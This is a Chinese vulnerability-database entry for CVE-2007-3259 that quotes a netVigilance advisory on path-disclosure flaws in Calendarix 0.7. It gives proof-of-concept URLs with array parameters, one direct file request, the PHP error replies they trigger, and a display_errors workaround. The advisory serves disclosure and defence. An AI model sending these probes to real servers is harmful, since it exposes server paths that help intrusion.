Calendarix 远程攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1190090 漏洞类型 未知
发布时间 2007-06-26 更新时间 2007-06-26
CVE编号 CVE-2007-3259 CNNVD-ID CNNVD-200706-427
漏洞平台 N/A CVSS评分 5.0
|漏洞来源
https://www.securityfocus.com/bid/85680
https://cxsecurity.com/issue/WLB-2007060102
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200706-427
|漏洞详情
Calendarix中存在远程攻击漏洞。远程攻击者借助提交到calendar.php的(1)无效的month[]参数、到cal_week.php的(2)无效的catview[]参数、到yearcal.php的(3)无效的ycyear[]参数或对cal_functions.inc.php的(4)直接请求,获得敏感信息。这会在不同的错误信息中显示安装路径。
|漏洞EXP
	netVigilance Security Advisory #36

Calendarix version 0.7. 20070307 Multiple Path Disclosure Vulnerabilities 
Description:
Calendarix is a powerful and easy to use calendar based on PHP and MySQL. It has been developed with ease of use and quick access to information in mind.  It provides the user with the quickest possible navigation and accessing the most commonly used functions in the shortest steps.

External References: 
Mitre CVE:  CVE-2007-3259
NVD NIST: CVE-2007-3259
OSVDB: 35371

Summary: 
Calendarix is a powerful and easy to use calendar based on PHP and MySQL.
Security problems in the product allow attackers to gather the true path of the server-side script.

Advisory URL: 
http://www.netvigilance.com/advisory0036

Release Date:
06/19/2007
 
Severity:
Risk: Low
 
CVSS Metrics
Access Vector: Remote
Access Complexity: Low
Authentication: Not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 2.33
 
Target Distribution on Internet: Low
 
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated
 
Vulnerability Impact: Attack
Host Impact: Path disclosure.

SecureScout Testcase ID:
TC 17968
 
Vulnerable Systems:
Calendarix version 0.7. 20070307

Vulnerability Type:
Program flaws - The product scripts have flaws which lead to Warnings or even Fatal Errors.
Vendor:
Vincent Hor (Calendarix Enterprise)

Vendor Status: 
Vincent Hor of Calendarix Enterprise was not interested in coordinating release of Patch and Security Advisory, There is no official solution at this time.

Workaround:
Disable warning messages: modify in the php.ini file following line: display_errors = Off.

Example: 
Path Disclosure Vulnerability 1:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month[]=1
REPLY:
<b>Warning</b>:  Illegal offset type in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]calendar.php</b> on line <b>53</b><br />
Path Disclosure Vulnerability 2:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/cal_week.php?op=week&catview[]=1
REPLY:
<b>Warning</b>:  preg_match() expects parameter 2 to be string, array given in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]cal_header.inc.php</b> on line <b>91</b><br />
<b>Warning</b>:  preg_match() expects parameter 2 to be string, array given in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]cal_header.inc.php</b> on line <b>92</b><br />
<b>Warning</b>:  preg_match() expects parameter 2 to be string, array given in <b>[DISCLOSED PATH][PRODUCT- DIRECTORY] cal_header.inc.php </b> on line <b>93</b><br />
...
<b>Warning</b>:  mysql_num_rows(): supplied argument is not a valid MySQL result resource in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]cal_week.php</b> on line <b>184</b><br />
...
<b>Warning</b>:  mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]cal_week.php</b> on line <b>186</b><br />
Path Disclosure Vulnerability 3:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/yearcal.php?ycyear[]=1
REPLY:
<b>Fatal error</b>:  Unsupported operand types in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]yearcal.php</b> on line <b>79</b><br />
Path Disclosure Vulnerability 4:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/cal_functions.inc.php
REPLY:
<b>Fatal error</b>:  Call to undefined function:  translate() in <b>[DISCLOSED PATH][PRODUCT-DIRECTORY]cal_functions.inc.php</b> on line <b>17</b><br />
Credits: 
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
??

??

??

??
|受影响的产品
Vincent Hor Calendarix 0.7.2007-03-07
|参考资料

来源:BUGTRAQ
名称:20070625Calendarixversion0.7.20070307MultiplePathDisclosureVulnerabilities
链接:http://www.securityfocus.com/archive/1/archive/1/472204/100/0/threaded
来源:OSVDB
名称:35371
链接:http://www.osvdb.org/35371
来源:MISC
链接:http://www.netvigilance.com/advisory0036
来源:XF
名称:calendarix-multiple-path-disclosure(35041)
链接:http://xforce.iss.net/xforce/xfdb/35041
来源:SREASON
名称:2841
链接:http://securityreason.com/securityalert/2841